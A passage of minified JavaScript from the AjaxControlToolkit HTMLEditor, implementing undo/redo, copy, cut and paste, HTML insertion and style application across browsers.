d=b.getAttachedElement(c);if(d!=null){if(AjaxControlToolkit.HTMLEditor.isIE){a=b._doc.body.createControlRange();a.add(d);a.select()}else try{var f=AjaxControlToolkit.HTMLEditor.__getIndex(d);e.collapseToEnd();b._removeAllRanges(e);a=b._createRange(e);a.setStart(d.parentNode,f);a.setEnd(d.parentNode,f+1);b._selectRange(e,a)}catch(g){return true}return false}return true}return false},_ifShadow:function(){if(AjaxControlToolkit.HTMLEditor.isIE)try{var g=this._doc.selection}catch(h){return false}var b=this,d=null,a=AjaxControlToolkit.HTMLEditor.getSelParent(b);while(a&&(a.nodeType==3||a.tagName&&a.tagName.toUpperCase()!="BODY")){if(a.nodeType==3||!a.tagName){a=a.parentNode;continue}var f=a.tagName.toUpperCase();if(f=="TABLE"&&a.getAttribute(AjaxControlToolkit.HTMLEditor.noContextMenuAttribute)&&a.getAttribute(AjaxControlToolkit.HTMLEditor.noContextMenuAttribute)=="yes"){d=a.rows.item(0).cells.item(0).firstChild;if(AjaxControlToolkit.HTMLEditor.isIE&&f=="P")d=d.firstChild;break}a=a.parentNode}if(d!=null){var e=b._getSelection(),c=b._createRange(e);if(AjaxControlToolkit.HTMLEditor.isIE){c=b._doc.body.createControlRange();c.add(d);c.select()}else try{e.collapseToEnd();b._removeAllRanges(e);c=b._createRange(e);c.setStart(d.parentNode,0);c.setEnd(d.parentNode,1);b._selectRange(e,c)}catch(h){}}},_saveContent:function(){var a=this,b,d,c;try{try{b=a._getSelection();d=a._createRange(b)}catch(e){}c=new AjaxControlToolkit.HTMLEditor._Marker(a,d,b)}catch(e){return}if(!a.__stack){a.__stack=[];a.__stackPos=0}while(a.__stackPos<a.__stack.length)a.__stack.pop();if(a.__stack.length==AjaxControlToolkit.HTMLEditor.__stackMaxSize){a.__stack.reverse();a.__stack.pop();a.__stack.reverse()}a.__stack.push(c);a.__stackPos=a.__stack.length},_restoreContent:function(){var a=this;if(a.__stack&&a.__stackPos>=0&&a.__stackPos<a.__stack.length){var b=a.__stack[a.__stackPos],f,d;if(AjaxControlToolkit.HTMLEditor.isIE){function o(d,b,e,a,c){return b.replace(/\salign=[^\s>]*/ig,"")+(a=='"X"'?"":"align="+a)+c.replace(/\salign=[^\s>]*/ig,"")}for(var l=a._doc.body.getElementsByTagName("EMBED"),h=[],c=0;c<l.length;c++)h.push(l[c]);for(var i=0;i<h.length;i++)h[i].parentNode.removeChild(h[i]);var g=b._save.replace(/&amp;/ig,"&");g=g.replace(/(<embed(?:.*?))(teoalign=)(\"[^\"]*\")((?:.*?)>)/ig,o);a._doc.body.innerHTML="!!!<span></span>"+AjaxControlToolkit.HTMLEditor.Trim(g);a._doc.body.firstChild&&a._doc.body.removeChild(a._doc.body.firstChild);a._doc.body.firstChild&&a._doc.body.removeChild(a._doc.body.firstChild);var k=AjaxControlToolkit.HTMLEditor.getHrefsText(g);AjaxControlToolkit.HTMLEditor.setHrefsText(a._doc.body,k);if(a._editPanel.get_relativeImages()){k=AjaxControlToolkit.HTMLEditor.getImagesText(g);AjaxControlToolkit.HTMLEditor.setImagesText(a._doc.body,k)}AjaxControlToolkit.HTMLEditor.setNames(a._doc.body,b._nArr);AjaxControlToolkit.HTMLEditor.operateAnchors(a,a._doc,!a._editPanel.get_showAnchors());AjaxControlToolkit.HTMLEditor.operatePlaceHolders(a,a._doc,!a._editPanel.get_showPlaceHolders());if(b._tree!=null){var e=a._doc.body,c;try{for(c=b._tree.length-1;c>=0;c--)e=e.childNodes.item(b._tree[c])}catch(q){if(a.__stackPos>0){a.__stackPos--;a._restoreContent();a.__stackPos++}return}try{var n=a._doc.body.createControlRange();n.add(e);n.select()}catch(q){}}else{var j=a;setTimeout(function(){try{if(j._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel){f=j._getSelection();d=j._createRange(f);if(f.type.toLowerCase()!="control")try{d.moveToPoint(b._offsetLeft,b._offsetTop)}catch(a){}d.select()}}catch(a){}},0)}}else{if(AjaxControlToolkit.HTMLEditor.isOpera)a._doc.body.innerHTML=AjaxControlToolkit.HTMLEditor.Trim(b._save);else{a._doc.body.innerHTML="";for(var c=0;c<b._save.childNodes.length;c++)a._doc.body.appendChild(b._save.childNodes.item(c).cloneNode(true))}AjaxControlToolkit.HTMLEditor.operateAnchors(a,a._doc,!a._editPanel.get_showAnchors());AjaxControlToolkit.HTMLEditor.operatePlaceHolders(a,a._doc,!a._editPanel.get_showPlaceHolders());try{f=a._getSelection();d=a._createRange();a._removeAllRanges(f)}catch(q){}for(var p="",e=a._doc.body,c=b._tree.length-1;c>=0;c--){p+=" "+b._tree[c];e=e.childNodes.item(b._tree[c])}var m=b._offset;try{d.setStart(e,m);d.setEnd(e,m)}catch(q){AjaxControlToolkit.HTMLEditor.inspectForShadows(a._doc.body);return}try{a._selectRange(f,d)}catch(q){}}try{AjaxControlToolkit.HTMLEditor.inspectForShadows(a._doc.body)}catch(q){}}},SaveContent:function(){this._saveContent()},RestoreContent:function(){this._undo(false)},_undo:function(c){var a=this;if(a.__stack)if(a.__stackPos>0){a.__stackPos==a.__stack.length&&c&&a._saveContent();do{var d=AjaxControlToolkit.HTMLEditor.Trim(a._doc.body.innerHTML);a.__stackPos--;a._restoreContent()}while(AjaxControlToolkit.HTMLEditor.Trim(a._doc.body.innerHTML)==d&&a.__stackPos>0&&c);var b=a;setTimeout(function(){try{b._ifShadow()}catch(a){}if(b._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel)try{b._editPanel.updateToolbar()}catch(a){}!c&&b.onContentChanged()},0)}},_redo:function(){var a=this;if(a.__stack)if(a.__stackPos<a.__stack.length-1){a.__stackPos++;var b=a,c;if(AjaxControlToolkit.HTMLEditor.isIE){c=b._doc.body.getElementsByTagName("EMBED").length;if(c>0){var d=b._body.ownerDocument.createElement("div");b._body.appendChild(d);setTimeout(function(){b._body.removeChild(d)},0)}}a._restoreContent();var b=a;setTimeout(function(){b._ifShadow();b._editPanel.updateToolbar()},0)}},undo:function(){this._undo(true);this.onContentChanged()},redo:function(){this._redo();this.onContentChanged()},_contextMenuCallP:function(){},onContentChanged:function(){},_copyCut:function(i,q){var e=true,a=this,l=a;if(AjaxControlToolkit.HTMLEditor.isIE){var c=a._getSelection(),b=a._createRange(c),j=false,f="";i=="x"&&a._saveContent();if(c.type.toLowerCase()=="control"){j=e;f=AjaxControlToolkit.HTMLEditor.getHTML(b.item(0),e)}else if(b.text!=""){j=e;f=b.htmlText;var o=b.duplicate(),h=a._getTextNodeCollection();if(h.length<1)return;var m=AjaxControlToolkit.HTMLEditor._commonParent(h[0],h[h.length-1]);if(m!=null&&h[0].previousSibling&&h[0].previousSibling.nodeType==3){var g=m.parent;while(g&&g.tagName.toUpperCase()!="BODY"&&AjaxControlToolkit.HTMLEditor.isStyleTag(g.tagName)){var n=g.cloneNode(false);n.innerHTML=f;f=n.outerHTML;g=g.parentNode}}c=a._getSelection();c.empty();b=a._createRange(c);b.setEndPoint("EndToEnd",o);b.setEndPoint("StartToStart",o);b.select()}else if(b.htmlText!=""){j=e;f=b.htmlText}if(j){var d=a._doc.createElement("DIV");d.innerHTML="!!!<span></span>"+f;d.removeChild(d.firstChild);d.removeChild(d.firstChild);var k=AjaxControlToolkit.HTMLEditor.getHTML(d,false,e),p=new RegExp("(<[/]?)(teo"+AjaxControlToolkit.HTMLEditor.smartClassName+":)","ig");k=k.replace(p,"$1");delete d;a._contentCopy(k,e);b.select();if(i=="x"){c.clear();a._clearP()}}else if(i=="x"){c.clear();a._clearP()}q&&setTimeout(function(){l._editPanel.updateToolbar()},0)}else if(i=="x"){a._saveContent();var c=a._getSelection(),b=a._createRange(c);a._removeAllRanges(c);b.deleteContents();if(a._doc.body.innerHTML==""){a._doc.body.innerHTML="<br/>";b.setStart(a._doc.body,0);b.setEnd(a._doc.body,0)}l.onContentChanged();a._selectRange(c,b)}else{var c=a._getSelection(),b=a._createRange(c);a._removeAllRanges(c);alert(String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_Use_verb,AjaxControlToolkit.HTMLEditor.isSafari&&navigator.userAgent.indexOf("mac")!=-1?"Apple-C":"Ctrl-C"));a._selectRange(c,b)}},_paste:function(m,n){var c=this,d=c,o=c._getSelection(),g=c._createRange(o),k,l;if(!m){k=g.offsetLeft;l=g.offsetTop;c.insertHTML(c._getPlain());d.onContentChanged();return}if(c._editPanel.get_noPaste())return;k=g.offsetLeft;l=g.offsetTop;var b=c._doc.createElement("span"),a,h=c._contentCopy("",false,n);if(/<[\/]*p[\s>]+/i.test(h)||/<[\/]*h/i.test(h))a=c._getSafePlace();else{a=c._doc.createElement("SPAN");a.id=AjaxControlToolkit.HTMLEditor.smartClassName;if(!c.insertHTML(AjaxControlToolkit.HTMLEditor.getHTML(a,true)))return;a=c._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName);if(a){a.id=null;a.removeAttribute("id");a.setAttribute("para","no")}}b.innerHTML=h;if(!a)return;c._checkImages(b);var i=a.parentNode,f=a.getAttribute("para");if(f!="no"){if(f.indexOf("left")>=0&&b.firstChild)if(b.firstChild.tagName&&b.firstChild.tagName.toUpperCase()=="P"){while(b.firstChild.firstChild)a.previousSibling.appendChild(b.firstChild.firstChild);b.removeChild(b.firstChild)}if(f.indexOf("right")>=0&&b.lastChild)if(b.lastChild.tagName&&b.lastChild.tagName.toUpperCase()=="P"){while(b.lastChild.lastChild)a.nextSibling.insertBefore(b.lastChild.lastChild,a.nextSibling.firstChild);b.removeChild(b.lastChild)}}var j=a,e=null;if(b.childNodes.length==0&&f.indexOf("left")>=0&&f.indexOf("right")>=0){if(a.nextSibling.firstChild){e=c._doc.createElement("span");j=e;e.innerHTML="111";a.previousSibling.appendChild(e)}while(a.nextSibling.firstChild)a.previousSibling.appendChild(a.nextSibling.firstChild);i.removeChild(a.nextSibling)}else while(b.firstChild)i.insertBefore(b.firstChild,a);setTimeout(function(){var c=d._getSelection(),b=d._createRange(c);if(c.type.toLowerCase()=="control")while(b.length>0)b.remove(0);try{b.collapse(false)}catch(f){}d.focusEditor();AjaxControlToolkit.HTMLEditor._setCursor(j,d);e&&e.parentNode.removeChild(e);i.removeChild(a);AjaxControlToolkit.HTMLEditor.inspectForShadows(d._doc.body);d.onContentChanged();b.select()},0)},_contentCopy:function(i,n,p){var j=true,o="$1<br/>$3",m="$1&nbsp;$3",b=this;if(i!="")i=i.replace(/(<td[^>]*?>)([\s ]*?)(<\/td[^>]*?>)/ig,m).replace(/(<td[^>]*?>)\s*(&nbsp;)\s*(<\/td[^>]*?>)/ig,o).replace(/(<p[^>]*?>)\s*(&nbsp;)\s*(<\/p[^>]*?>)/ig,o);var e=b._doc.createElement("iframe");e.width="0";e.height="0";if(AjaxControlToolkit.HTMLEditor.isIE)e.src="javascript:false;";b._doc.appendChild(e);var a=e.contentWindow.document;a.write("<html><head></head><body>"+i+"</body></html>");a.close();a.body.contentEditable=j;var k=a.body.createTextRange(),q=false;if(i==""){k.execCommand("paste");for(var t=a.createElement("DIV"),d=0;d<a.body.childNodes.length;d++){var h=a.body.childNodes.item(d);if(h.nodeType==8){var c=""+h.data+"";if(c.search(/StartFragment/i)>=0)if(h.nextSibling&&h.nextSibling.nodeType==3){var c=""+h.nextSibling.data+"";if(c.length)if(c.charCodeAt(0)==160){c=c.substr(1);h.nextSibling.data=c;q=j;break}}}}if(typeof p!="undefined"&&p)a.body.innerHTML=AjaxControlToolkit.HTMLEditor.cleanUp(a.body.innerHTML);var c=AjaxControlToolkit.HTMLEditor.Trim(AjaxControlToolkit.HTMLEditor.getHTML(a.body,false,j));c=c.replace(/(<script(?:[^>]*?)>(?:[^<]*?)<\/script(?:[^>]*?)>)/gi,"");a.body.innerHTML=c;if(!n){AjaxControlToolkit.HTMLEditor.operateAnchors(b,a,!b.showAnchors);AjaxControlToolkit.HTMLEditor.operatePlaceHolders(b,a,!b.showPlaceHolders);for(var l=a.body.getElementsByTagName("EMBED"),f=[],d=0;d<l.length;d++)f.push(l[d]);for(var g=0;g<f.length;g++)f[g].parentNode.removeChild(f[g])}delete k;delete t;if(n&&AjaxControlToolkit.HTMLEditor.isIE)k=a.body.createTextRange()}if(n&&AjaxControlToolkit.HTMLEditor.isIE){if(i!=""){AjaxControlToolkit.HTMLEditor.operateAnchors(b,a,j);AjaxControlToolkit.HTMLEditor.operatePlaceHolders(b,a,j)}k.select();k.execCommand("copy")}for(var s=AjaxControlToolkit.HTMLEditor.Trim(a.body.innerHTML).replace(/<br\s*[\/]*>\s*<\/td>/ig,"</td>").replace(/(<td[^>]*?>)([\s ]*?)(<\/td[^>]*?>)/ig,m).replace(/(<p[^>]*?>)\s*(<br[^>]*?>)\s*(<\/p[^>]*?>)/ig,m).replace(/(<embed(?:.*?))(wmode=)(\"[^\"]*\")((?:.*?)>)/ig,"$1pseudomode=$3$4").replace(/(<embed)([^>]*?>)/ig,'$1 wmode="transparent"$2'),l=a.body.getElementsByTagName("EMBED"),f=[],d=0;d<l.length;d++)f.push(l[d]);for(var g=0;g<f.length;g++)f[g].parentNode.removeChild(f[g]);e.src="";var r=b;r._doc.removeChild(e);delete e;return s},insertHTML:function(p,c){var n="<span>qqq</span>",b=this;b.focusEditor();var w=b._getSelection();if(typeof c=="undefined")c=b._createRange(w);if(AjaxControlToolkit.HTMLEditor.isIE){function r(b,a){return '<span class="'+AjaxControlToolkit.HTMLEditor.smartClassName+"_script\" style='display:none;visibility:hidden;'>"+a.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;")+"</span>"}function q(b,a){return a.replace(/&gt;/g,">").replace(/&lt;/g,"<").replace(/&amp;/g,"&")}var d='<span id="'+AjaxControlToolkit.HTMLEditor.smartClassName+'">111<span></span>'+p+"</span>",u=AjaxControlToolkit.HTMLEditor.getHrefsText(d),s=AjaxControlToolkit.HTMLEditor.getImagesText(d);if(!b._editPanel.get_noScript())d=d.replace(/(<script(?:[^>]*?)>.*?<\/script(?:[^>]*?)>)/gi,r);else d=d.replace(/(<script(?:[^>]*?)>.*?<\/script(?:[^>]*?)>)/gi,"");var x=b;try{if(c.pasteHTML)c.pasteHTML(d);else{var f=b._doc.createElement("DIV");f.innerHTML=d;while(f.firstChild)c(0).parentNode.insertBefore(f.firstChild,c(0));c(0).parentNode.removeChild(c(0));c.remove(0);delete f}}catch(y){return false}var a=b._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName);a.innerHTML=n+AjaxControlToolkit.HTMLEditor.getHTML(a,false,true).replace(new RegExp("<span(?:[^>]*?)class="+AjaxControlToolkit.HTMLEditor.smartClassName+"_script(?:[^>]*?)>(.*?)</span(?:[^>]*?)>","gi"),q)+n;a.removeChild(a.firstChild);a.removeChild(a.lastChild);AjaxControlToolkit.HTMLEditor.setHrefsText(a,u);AjaxControlToolkit.HTMLEditor.setImagesText(a,s);a.firstChild&&a.removeChild(a.firstChild);a.firstChild&&a.removeChild(a.firstChild);while(a.firstChild)a.parentNode.insertBefore(a.firstChild,a);a.parentNode.removeChild(a);delete a;return true}else{var f=b._doc.createElement("div");f.innerHTML=p;for(var m=f.getElementsByTagName("EMBED"),j=[],h=0;h<m.length;h++)j.push(m[h]);for(var l=0;l<j.length;l++){var i=j[l],g=document.createElement("IMG"),o=i.attributes;g.src=b._images_list[1];g.setAttribute("dummytag","embed");for(var h=0;h<o.length;++h){var k=o.item(h);if(!k.specified)continue;var e=k.name.toLowerCase(),t=k.value;if(e=="src")e="dummysrc";else if(e=="bgcolor")e="dummybgcolor";else if(e=="wmode")e="pseudomode";g.setAttribute(e,t)}g.getAttribute("type");g.style.cssText="border: 1px dotted #000000; background-image: url('"+(g.getAttribute("type").toLowerCase()=="application/x-mplayer2"?b._images_list[3]:b._images_list[2])+"'); background-position: center; background-repeat: no-repeat; background-color: #c0c0c0;";i.parentNode.insertBefore(g,i);i.parentNode.removeChild(i)}var v=b.insertNodeAtSelection(f,c);return v}},insertNodeAtSelection:function(e,b){var d=false,c=this;if(!AjaxControlToolkit.HTMLEditor.isIE){var f=c._getSelection();if(typeof b=="undefined")try{b=c._createRange(f)}catch(l){c._removeAllRanges(f);return d}var a=b.startContainer,j=b.startOffset;if(a.ownerDocument.id!="EditorDocument")return d;if(b.startContainer.nodeType==1&&b.startContainer.tagName.toUpperCase()=="TR"||b.endContainer.nodeType==1&&b.endContainer.tagName.toUpperCase()=="TR")return d;c._removeAllRanges(f);b.deleteContents();try{b=c._createRange()}catch(l){c._removeAllRanges(f);return d}switch(a.nodeType){case 3:if(j>0)a=a.splitText(j);while(e.firstChild)a.parentNode.insertBefore(e.firstChild,a);b.setStart(a,0);b.setEnd(a,0);break;case 1:case 11:try{c._removeAllRanges(f);if(a.childNodes.length>=j+1){a=a.childNodes.item(j);while(e.firstChild)a.parentNode.insertBefore(e.firstChild,a);var g=c._doc.createTextNode("");a.parentNode.insertBefore(g,a);a=g}else{var g=c._doc.createTextNode("");if(AjaxControlToolkit.HTMLEditor.canHaveChildren(a)){while(e.firstChild)a.appendChild(e.firstChild);a.appendChild(g)}else{while(e.firstChild)a.parentNode.insertBefore(e.firstChild,a);a.parentNode.insertBefore(g,a)}a=g}if(a.nodeType==1){for(var h=a.parentNode,k=h,i=0;i<h.childNodes.length;i++)if(a==h.childNodes.item(i))break;b.setStart(h,i);b.setEnd(h,i)}else{b.setStart(a,0);b.setEnd(a,0)}}catch(l){c._removeAllRanges(f);return d}}c._selectRange(f,b);return true}else return d},trickWithStyles:function(j){var a=this,c=a._doc.getElementById(j);if(c!=null)if(c.nextSibling&&c.nextSibling.nodeType==3){var b=c.nextSibling;c.parentNode.removeChild(c);var e=(""+b.data+"").indexOf(" ");if(e>0)b.splitText(e);else e==0&&b.splitText(1);if(a.n_arr!=null)for(var h=0;h<a.n_arr.length;h++)a.MSIE_applyCssStyle(a.n_arr[h],[b],false);a.n_arr=null;var g=a._getSelection();if(!AjaxControlToolkit.HTMLEditor.isIE){var f=a._doc.createRange();f.setStart(b,b.length);f.setEnd(b,b.length);a._removeAllRanges(g);a._selectRange(g,f)}else{var i=a._createRange(g),d=a._doc.createElement("span");if(b.nextSibling)b.parentNode.insertBefore(d,b.nextSibling);else b.parentNode.appendChild(d);try{i.moveToElementText(d);i.select()}catch(k){}d.parentNode.removeChild(d)}}else c.parentNode.removeChild(c)},_getParent:function(a){if(AjaxControlToolkit.HTMLEditor.isIE)return a.parentElement();else return a.startContainer},_checkImages:function(g){var e="qwerty.gif";if(this._editPanel.get_relativeImages())for(var f=g.getElementsByTagName("IMG"),d=0;d<f.length;d++){var a=f[d];if(a.src.indexOf("http://")>=0){var b=a.src;a.src=e;var c=a.src.indexOf(e);if(b.substr(0,c)==a.src.substr(0,c))b=b.substr(c,b.length-c);a.src=b}}},_getSafePlace:function(d){var e="para",b=null,g=this,a=g._doc.createElement("SPAN"),j=g;a.id=AjaxControlToolkit.HTMLEditor.smartClassName;if(typeof d=="undefined"){if(!g.insertHTML(AjaxControlToolkit.HTMLEditor.getHTML(a,true)))return b}else{if(d.nextSibling==b)d.parentNode.appendChild(a);else d.parentNode.insertBefore(a,d.nextSibling);d.parentNode.removeChild(d)}a=g._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName);a.id=b;a.removeAttribute("id");a.setAttribute(e,"no");var c=a.parentNode,f=c.tagName.toUpperCase();while(f!="BODY"&&f!="TD"&&f!="P"&&f!="DIV")if(AjaxControlToolkit.HTMLEditor.isStyleTag(c.tagName)){c=c.parentNode;f=c.tagName.toUpperCase()}else break;if(f=="P"){a.setAttribute(e,"");function i(k,a,e,f){var l,d=AjaxControlToolkit.HTMLEditor.myClone(e,j._doc,false);k&&d.appendChild(k);while(a){if(a.nodeType==1||a.nodeType==3&&AjaxControlToolkit.HTMLEditor.Trim(""+a.data+"").length>0){var g=b;if(a.tagName&&a.tagName.toUpperCase()=="SCRIPT")g=a.text;var h=AjaxControlToolkit.HTMLEditor.myClone(a,j._doc,true);if(d.childNodes.length==0||!f)d.appendChild(h);else d.insertBefore(h,d.firstChild);if(g!=b)h.text=g}a=f?a.previousSibling:a.nextSibling}if(d.childNodes.length==0){delete d;d=b}if(e==c)return d;else return i(d,f?e.previousSibling:e.nextSibling,e.parentNode,f)}var k=i(b,a.previousSibling,a.parentNode,true),l=i(b,a.nextSibling,a.parentNode,false),h=c.parentNode;if(k){h.insertBefore(k,c);a.setAttribute(e,a.getAttribute(e)+" left")}h.insertBefore(a,c);if(l){h.insertBefore(l,c);a.setAttribute(e,a.getAttribute(e)+" right")}h.removeChild(c)}return a},noContextMenuAttributeName:function(){return AjaxControlToolkit.HTMLEditor.noContextMenuAttribute},_getTextNodeCollection:function(x){var a="",u="<span id='",n="undefined",f=null,d=this,e=[];if(d.isControl())return e;var o=d._getSelection(),j=d._createRange(o),m=AjaxControlToolkit.HTMLEditor.smartClassName+"_right",r=AjaxControlToolkit.HTMLEditor.smartClassName+"_left",g=f,i=f,q;if(typeof x==n){if(AjaxControlToolkit.HTMLEditor.isIE){g=j.duplicate();i=j.duplicate();g.setEndPoint("EndToStart",j);i.setEndPoint("StartToEnd",j)}else{g=j.cloneRange();i=j.cloneRange();g.setEnd(g.startContainer,g.startOffset);i.setStart(i.endContainer,i.endOffset);q=g.endOffset}if(!d.insertHTML(u+m+"'/>",i))return e;else{if(AjaxControlToolkit.HTMLEditor.isOpera){g.setEnd(g.startContainer,q);g.setStart(g.startContainer,q)}if(!d.insertHTML(u+r+"'/>",g)){var t=d._doc.getElementById(m);if(t!=f){h=t.parentNode;h.removeChild(t)}var s=d._doc.getElementById(rl);if(s!=f){h=s.parentNode;h.removeChild(s)}return e}}}else{var k;k=d._doc.createElement("SPAN");k.id=m;d._doc.body.appendChild(k);k=d._doc.createElement("SPAN");k.id=r;d._doc.body.insertBefore(k,d._doc.body.firstChild)}var b=d._doc.getElementById(r),c=d._doc.getElementById(m);if(b==f||c==f){var h;if(b!=f){h=b.parentNode;h.removeChild(b)}if(c!=f){h=c.parentNode;h.removeChild(c)}return []}while(b.firstChild)b.removeChild(b.firstChild);while(c.firstChild)c.removeChild(c.firstChild);while(b.previousSibling&&b.previousSibling.nodeType==3&&AjaxControlToolkit.HTMLEditor.Trim(a+b.previousSibling.data+a).length==0)b.parentNode.removeChild(b.previousSibling);while(b.nextSibling&&b.nextSibling.nodeType==3&&AjaxControlToolkit.HTMLEditor.Trim(a+b.nextSibling.data+a).length==0)b.parentNode.removeChild(b.nextSibling);while(c.previousSibling&&c.previousSibling.nodeType==3&&AjaxControlToolkit.HTMLEditor.Trim(a+c.previousSibling.data+a).length==0)c.parentNode.removeChild(c.previousSibling);while(c.nextSibling&&c.nextSibling.nodeType==3&&AjaxControlToolkit.HTMLEditor.Trim(a+c.nextSibling.data+a).length==0)c.parentNode.removeChild(c.nextSibling);var w=false,l=d;function v(b,d){while(b){if(b.id&&b.id==m){w=true;return}if(b.nodeType==3){while(b.nextSibling&&(b.nextSibling.nodeType==3||!AjaxControlToolkit.HTMLEditor.isIE&&typeof l.__saveBM__!=n&&l.__saveBM__!=f&&l.__saveBM__[0]==b.nextSibling)){if(b.nextSibling.nodeType==3)b.data=a+b.data+a+b.nextSibling.data+a;else{l.__saveBM__[0]=b;l.__saveBM__[1]=(a+b.data+a).length}b.parentNode.removeChild(b.nextSibling)}AjaxControlToolkit.HTMLEditor.Trim(a+b.data+a).length>0&&e.push(b)}else{var c=b.tagName;if(b.tagName){c=c.toUpperCase();if(!(c=="MAP"||c=="AREA"||c=="SCRIPT"||c=="NOSCRIPT"))!(b.style&&(AjaxControlToolkit.HTMLEditor.getStyle(b,"display")=="none"||AjaxControlToolkit.HTMLEditor.getStyle(b,"visibility")=="hidden"))&&v(b.firstChild,false)}}if(w)return;var g=b.parentNode;if(d)while(b.nextSibling==f)b=b.parentNode;b=b.nextSibling}}v(b,true);var h;h=b.parentNode;h.removeChild(b);h=c.parentNode;h.removeChild(c);if(typeof x==n)if(AjaxControlToolkit.HTMLEditor.isIE){o.empty();i.select()}else if(e.length>0){d._removeAllRanges(o);var p=d._createRange();p.setEnd(e[e.length-1],e[e.length-1].length);p.setStart(e[e.length-1],e[e.length-1].length);d._selectRange(o,p)}return e},_getPlain:function(){var a=this._doc.createElement("textarea");a.width="0";a.height="0";this._doc.appendChild(a);var c=a.createTextRange();c.execCommand("paste");var b=a.value;b=b.replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/\r/g,"").replace(/\n/g,"<br/>");this._doc.removeChild(a);return b},_execCommand:function(c,g,b){var e=false,h="createlink",a=this,i=a,d,f;if(AjaxControlToolkit.HTMLEditor.isIE&&!a.isControl()){d=a._getSelection();f=a._createRange(d);var j=f.parentElement();if(j.tagName.toUpperCase()=="TEXTAREA")return}c.toLowerCase()!=h&&a._saveContent();switch(c.toLowerCase()){case h:if(AjaxControlToolkit.HTMLEditor.isIE||!g)a._doc.execCommand(c,g,b);else{var b;(b=prompt("Enter URL"))&&a._doc.execCommand(c,e,b)}break;case "backcolor":case "forecolor":case "fontname":case "fontsize":a.MSIE_applyCommand(c.toLowerCase(),b);break;case "indent":a.MSIE_indent(true);break;case "outdent":a.MSIE_indent(e);break;case "justifyleft":a.MSIE_justify("left");break;case "justifyfull":a.MSIE_justify("justify");break;case "justifycenter":a.MSIE_justify("center");break;case "justifyright":a.MSIE_justify("right");break;case "paragraph":a.MSIE_justify("remain",e,"P");break;case "formatblock":if(b!=null&&typeof b=="string"&&b.length==2)if(b.substr(0,1).toUpperCase()=="H"&&parseInt(b.substr(1,1))>0){a.MSIE_justify("remain",e,b);break}a._doc.execCommand(c,g,b);break;case "insertunorderedlist":a.MSIE_list("UL");break;case "insertorderedlist":a.MSIE_list("OL");break;case "bold":case "italic":case "underline":case "strikethrough":case "superscript":case "subscript":a.MSIE_applyCommand(c.toLowerCase());break;default:a._doc.execCommand(c,g,b)}a.onContentChanged();if(!AjaxControlToolkit.HTMLEditor.isIE){d=a._getSelection();f=a._createRange(d);a._removeAllRanges(d);a._selectRange(d,f);a.focusEditor()}var i=a;setTimeout(function(){i._editPanel.updateToolbar()},0)},MSIE_indent:function(a){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.MSIE_indent)(a)},MSIE_justify:function(c,b,a){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.MSIE_justify)(c,b,a)},MSIE_list:function(a){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.MSIE_list)(a)},getSelectionAfterOperation:function(a){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.getSelectionAfterOperation)(a)},setSelectionAfterOperation:function(b,a){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.setSelectionAfterOperation)(b,a)},get_paragraphs:function(){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.get_paragraphs)()},getPseudoP:function(){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.getPseudoP)()},getPseudoP_Recur:function(b,c,a){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.getPseudoP_Recur)(b,c,a)},unWrap:function(a,b){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.unWrap)(a,b)},tryUnWrap:function(a,c,b){return Function.createDelegate(this,AjaxControlToolkit.HTMLEditor.tryUnWrap)(a,c,b)},MSIE_applyCommand:function(n,g){var f=null,k="vertical-align",j="text-decoration",i="underline",d=false,a=this,l=!AjaxControlToolkit.HTMLEditor.isIE?AjaxControlToolkit.HTMLEditor.Trim(a.getSelectedHTML()):"";if(a.isControl())return;var e=a._getSelection(),c=a._createRange(e),o=AjaxControlToolkit.HTMLEditor.isIE?[c.boundingLeft,c.boundingTop]:[c.startContainer,c.startOffset],m=AjaxControlToolkit.HTMLEditor.isIE&&c.text.length>0||!AjaxControlToolkit.HTMLEditor.isIE&&l.length>0,b={name:"none",value:"none"};switch(n.toLowerCase()){case "bold":b={name:"font-weight",value:"bold",repl:d};break;case "italic":b={name:"font-style",value:"italic",repl:d};break;case i:b={name:j,value:i,repl:d};break;case "strikethrough":b={name:j,value:"line-through",repl:d};break;case "superscript":b={name:k,value:"super",repl:d};break;case "subscript":b={name:k,value:"sub",repl:d};break;case "forecolor":b={name:"color",value:g,repl:d};break;case "backcolor":b={name:"background-color",value:g,repl:d};break;case "fontname":b={name:"font-family",value:g,repl:d};break;case "fontsize":b={name:"font-size",value:g,repl:d}}if(m){var h=a._getTextNodeCollection();a.MSIE_applyCssStyle(b,h,true)}else{if(a.isControl())return;var h=a._tryExpand();if(h.length>0){a.MSIE_applyCssStyle(b,h,d);if(AjaxControlToolkit.HTMLEditor.isIE&&a.__saveBM__!=f){e=a._getSelection();c=a._createRange(e);c.moveToBookmark(a.__saveBM__);c.select();a.__saveBM__=f}else if(a.__saveBM__!=f){if(a.__saveBM__[0].nodeType==3){e=a._getSelection();c=a._doc.createRange();c.setStart(a.__saveBM__[0],a.__saveBM__[1]);c.setEnd(a.__saveBM__[0],a.__saveBM__[1]);a._removeAllRanges(e);a._selectRange(e,c)}else{a._trySelect(a.__saveBM__[0],a.__saveBM__[0]);a.__saveBM__[0].parentNode.removeChild(a.__saveBM__[0])}a.__saveBM__=f}}else a._setStyleForTyping(b)}},MSIE_applyCssStyle:function(h,c,J){var q=true,G="text-decoration",u=null,p="SPAN",i=this,b=h.name.replace(/\-(\w)/g,function(b,a){return a.toUpperCase()}),d=h.value,L=h.repl,A=false,B=false;i._saveContent();var N=AjaxControlToolkit.HTMLEditor.smartClassName+"_right",M=AjaxControlToolkit.HTMLEditor.smartClassName+"_left",o=i._doc.createElement(p);o.id=M;var 